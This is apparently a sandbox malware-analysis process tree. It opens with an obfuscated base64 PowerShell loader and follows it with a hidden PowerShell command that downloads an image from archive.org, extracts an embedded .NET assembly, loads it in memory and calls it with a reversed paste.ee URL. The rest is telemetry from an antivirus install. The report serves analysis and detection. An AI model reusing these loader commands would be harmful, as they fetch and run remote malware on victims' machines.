⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBT↦ ☰ ䷸ ㈽ ⺹HU↦ ☰ ䷸ ㈽ ⺹YgBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹cgBp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Zw↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹QwBv↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBl↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBG↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹bwBt↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹YQBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Ng↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹By↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹bwBh↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBk↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹UgBl↦ ☰ ䷸ ㈽ ⺹GY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bg↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBM↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹QQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBi↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBP↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹S↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹Ec↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹E0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹JwBW↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹SQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBv↦ ☰ ䷸ ㈽ ⺹Gs↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹bgB1↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹WwBv↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹F0↦ ☰ ䷸ ㈽ ⺹XQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹bgBV↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹OgBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹QQBk↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹F↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹cgBv↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Mw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹L↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('↦ ☰ ䷸ ㈽ ⺹','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                                                                                                                                            2⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            PID:5024
                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/yspnU/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))"
                                                                                                                                              3⤵
                                                                                                                                              • Blocklisted process makes network request
                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                              PID:716
                                                                                                                                        • C:\Windows\system32\msiexec.exe
                                                                                                                                          C:\Windows\system32\msiexec.exe /V
                                                                                                                                          1⤵
                                                                                                                                          • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                          • Adds Run key to start application
                                                                                                                                          • Checks for any installed AV software in registry
                                                                                                                                          • Enumerates connected drives
                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                          • Drops file in Windows directory
                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                          • Modifies registry class
                                                                                                                                          PID:5860
                                                                                                                                          • C:\Windows\System32\MsiExec.exe
                                                                                                                                            C:\Windows\System32\MsiExec.exe -Embedding 694DD068A9B28BDAF7A42493BB755EA2
                                                                                                                                            2⤵
                                                                                                                                            • Loads dropped DLL
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            PID:5464
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\eset.temp\{02D83BBE-5051-A150-C3F5-4EC3DD2E4EEC}\InstHelper.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\eset.temp\{02D83BBE-5051-A150-C3F5-4EC3DD2E4EEC}\InstHelper.exe" -gv
                                                                                                                                              3⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:6128
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\eset.temp\{02D83BBE-5051-A150-C3F5-4EC3DD2E4EEC}\InstHelper.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\eset.temp\{02D83BBE-5051-A150-C3F5-4EC3DD2E4EEC}\InstHelper.exe" -sd "C:\Windows\Temp\eset\bts.stats" "ESET Security" "17.2.8.0" "1055"
                                                                                                                                              3⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:6116
                                                                                                                                          • C:\Windows\System32\MsiExec.exe
                                                                                                                                            C:\Windows\System32\MsiExec.exe -Embedding A3251CC95901AC7C376902DE2509916F E Global\MSI0000
                                                                                                                                            2⤵
                                                                                                                                            • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                            • Loads dropped DLL
                                                                                                                                            • Modifies system executable filetype association
                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                            • Modifies registry class
                                                                                                                                            PID:1312
                                                                                                                                            • C:\Windows\System32\taskkill.exe
                                                                                                                                              "C:\Windows\System32\taskkill.exe" /F /T /IM ehttpsrv.exe
                                                                                                                                              3⤵
                                                                                                                                              • Kills process with taskkill
                                                                                                                                              PID:5572
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\eset.temp\{02D83BBE-5051-A150-C3F5-4EC3DD2E4EEC}\InstHelper.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\eset.temp\{02D83BBE-5051-A150-C3F5-4EC3DD2E4EEC}\InstHelper.exe" -ci "C:\Users\Admin\AppData\Local\Temp\eset.temp\{02D83BBE-5051-A150-C3F5-4EC3DD2E4EEC}\_InstData.xml"
                                                                                                                                              3⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Loads dropped DLL
                                                                                                                                              • Drops file in System32 directory
                                                                                                                                              PID:5780
                                                                                                                                        • C:\Program Files\ESET\ESET Security\ekrn.exe
                                                                                                                                          "C:\Program Files\ESET\ESET Security\ekrn.exe"
                                                                                                                                          1⤵
                                                                                                                                          • Drops file in Drivers directory
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          • Enumerates connected drives
                                                                                                                                          • Maps connected drives based on registry
                                                                                                                                          • Drops file in System32 directory
                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                          • Drops file in Windows directory
                                                                                                                                          • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          • Checks SCSI registry key(s)
                                                                                                                                          • Checks processor information in registry
                                                                                                                                          • Enumerates system info in registry
                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                          • Modifies registry class
                                                                                                                                          • Modifies system certificate store
                                                                                                                                          PID:6104
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -Command if (((Get-AppxPackage -Name 'EsetContextMenu').length -ne '1') -Or ((Get-AppxPackage -Name 'EsetContextMenu').version -ne '10.46.10.0')) { Get-AppxPackage -Name 'EsetContextMenu' | Remove-AppxPackage; Add-AppxPackage -Path 'C:\Program Files\ESET\ESET Security\EsetContextMenu.msix' -ExternalLocation 'C:\Program Files\ESET\ESET Security\' }
                                                                                                                                            2⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            PID:5360
                                                                                                                                          • C:\Program Files\ESET\ESET Security\eguiproxy.exe
                                                                                                                                            "C:\Program Files\ESET\ESET Security\eguiproxy.exe"
                                                                                                                                            2⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                                                            PID:6500
                                                                                                                                          • C:\Program Files\ESET\ESET Security\egui.exe
                                                                                                                                            "C:\Program Files\ESET\ESET Security\egui.exe"
                                                                                                                                            2⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                            PID:6728
                                                                                                                                            • C:\Windows\explorer.exe
                                                                                                                                              "C:\Windows\explorer.exe" /select,"PowerShell_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe_10.0.22000.1"
                                                                                                                                              3⤵
                                                                                                                                                PID:3140
                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                            C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
                                                                                                                                            1⤵
                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                            PID:5944
                                                                                                                                            • C:\Windows\system32\DrvInst.exe
                                                                                                                                              DrvInst.exe "4" "9" "C:\Program Files\ESET\ESET Security\Drivers\eelam\eelam.inf" "9" "4d8859be3" "0000000000000150" "Service-0x0-3e7$\Default" "0000000000000160" "208" "C:\Program Files\ESET\ESET Security\Drivers\eelam"
                                                                                                                                              2⤵
                                                                                                                                              • Drops file in System32 directory
                                                                                                                                              • Drops file in Windows directory
                                                                                                                                              • Checks SCSI registry key(s)
                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                              PID:5284
                                                                                                                                            • C:\Windows\system32\DrvInst.exe
                                                                                                                                              DrvInst.exe "4" "9" "C:\Program Files\ESET\ESET Security\Drivers\ehdrv\ehdrv.inf" "9" "446a2f407" "0000000000000160" "Service-0x0-3e7$\Default" "0000000000000164" "208" "C:\Program Files\ESET\ESET Security\Drivers\ehdrv"
                                                                                                                                              2⤵
                                                                                                                                              • Drops file in System32 directory
                                                                                                                                              • Drops file in Windows directory
                                                                                                                                              • Checks SCSI registry key(s)
                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                              PID:4616
                                                                                                                                            • C:\Windows\system32\DrvInst.exe
                                                                                                                                              DrvInst.exe "4" "9" "C:\Program Files\ESET\ESET Security\Drivers\ekbdflt\ekbdflt.inf" "9" "4f39970b7" "0000000000000168" "Service-0x0-3e7$\Default" "0000000000000178" "208" "C:\Program Files\ESET\ESET Security\Drivers\ekbdflt"
                                                                                                                                              2⤵
                                                                                                                                              • Drops file in System32 directory
                                                                                                                                              • Drops file in Windows directory
                                                                                                                                              • Checks SCSI registry key(s)
                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                              PID:2140
                                                                                                                                            • C:\Windows\system32\DrvInst.exe
                                                                                                                                              DrvInst.exe "4" "9" "C:\Program Files\ESET\ESET Security\Drivers\eamonm\eamonm.inf" "9" "4d14d0413" "0000000000000160" "Service-0x0-3e7$\Default" "0000000000000180" "208" "C:\Program Files\ESET\ESET Security\Drivers\eamonm"
                                                                                                                                              2⤵
                                                                                                                                              • Drops file in System32 directory
                                                                                                                                              • Drops file in Windows directory
                                                                                                                                              • Checks SCSI registry key(s)
                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                              PID:1300
                                                                                                                                            • C:\Windows\system32\DrvInst.exe
                                                                                                                                              DrvInst.exe "4" "9" "C:\Program Files\ESET\ESET Security\Drivers\epfwwfp\epfwwfp.inf" "9" "48fcaabe7" "0000000000000184" "Service-0x0-3e7$\Default" "0000000000000188" "208" "C:\Program Files\ESET\ESET Security\Drivers\epfwwfp"
                                                                                                                                              2⤵
                                                                                                                                              • Drops file in System32 directory
                                                                                                                                              • Drops file in Windows directory
                                                                                                                                              • Checks SCSI registry key(s)
                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                              PID:5776
                                                                                                                                            • C:\Windows\system32\DrvInst.exe
                                                                                                                                              DrvInst.exe "4" "9" "C:\Program Files\ESET\ESET Security\Drivers\edevmon\edevmon.inf" "9" "48c1400ab" "00000000000001A8" "Service-0x0-3e7$\Default" "0000000000000194" "208" "C:\Program Files\ESET\ESET Security\Drivers\edevmon"
                                                                                                                                              2⤵
                                                                                                                                              • Drops file in System32 directory
                                                                                                                                              • Drops file in Windows directory
                                                                                                                                              • Checks SCSI registry key(s)
                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                              PID:5780
                                                                                                                                            • C:\Windows\system32\DrvInst.exe
                                                                                                                                              DrvInst.exe "4" "9" "C:\Program Files\ESET\ESET Security\Drivers\epfw\epfw.inf" "9" "456eea8cb" "0000000000000188" "Service-0x0-3e7$\Default" "000000000000018C" "208" "C:\Program Files\ESET\ESET Security\Drivers\epfw"
                                                                                                                                              2⤵
                                                                                                                                              • Drops file in System32 directory
                                                                                                                                              • Drops file in Windows directory
                                                                                                                                              • Checks SCSI registry key(s)
                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                              PID:912
                                                                                                                                          • C:\Program Files\ESET\ESET Security\efwd.exe
                                                                                                                                            "C:\Program Files\ESET\ESET Security\efwd.exe"
                                                                                                                                            1⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:5792
                                                                                                                                          • C:\Windows\system32\wbem\WmiApSrv.exe
                                                                                                                                            C:\Windows\system32\wbem\WmiApSrv.exe
                                                                                                                                            1⤵
                                                                                                                                              PID:2944
                                                                                                                                            • C:\Windows\system32\wbem\WmiApSrv.exe
                                                                                                                                              C:\Windows\system32\wbem\WmiApSrv.exe
                                                                                                                                              1⤵
                                                                                                                                                PID:2712
                                                                                                                                              • C:\Windows\system32\wbem\WmiApSrv.exe
                                                                                                                                                C:\Windows\system32\wbem\WmiApSrv.exe
                                                                                                                                                1⤵
                                                                                                                                                  PID:428
                                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                                  C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                  1⤵
                                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                                  • Modifies registry class
                                                                                                                                                  • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                  PID:6080
                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
                                                                                                                                                  1⤵
                                                                                                                                                    PID:2668
                                                                                                                                                  • C:\Windows\system32\SystemSettingsAdminFlows.exe
                                                                                                                                                    "C:\Windows\system32\SystemSettingsAdminFlows.exe" SetTimeZoneAutoUpdate 0
                                                                                                                                                    1⤵
                                                                                                                                                      PID:7084
                                                                                                                                                    • C:\Windows\system32\SystemSettingsAdminFlows.exe
                                                                                                                                                      "C:\Windows\system32\SystemSettingsAdminFlows.exe" SetInternetTime 1
                                                                                                                                                      1⤵
                                                                                                                                                      • System Time Discovery
                                                                                                                                                      PID:6764
                                                                                                                                                    • C:\Windows\system32\SystemSettingsAdminFlows.exe
                                                                                                                                                      "C:\Windows\system32\SystemSettingsAdminFlows.exe" SetNTPSync
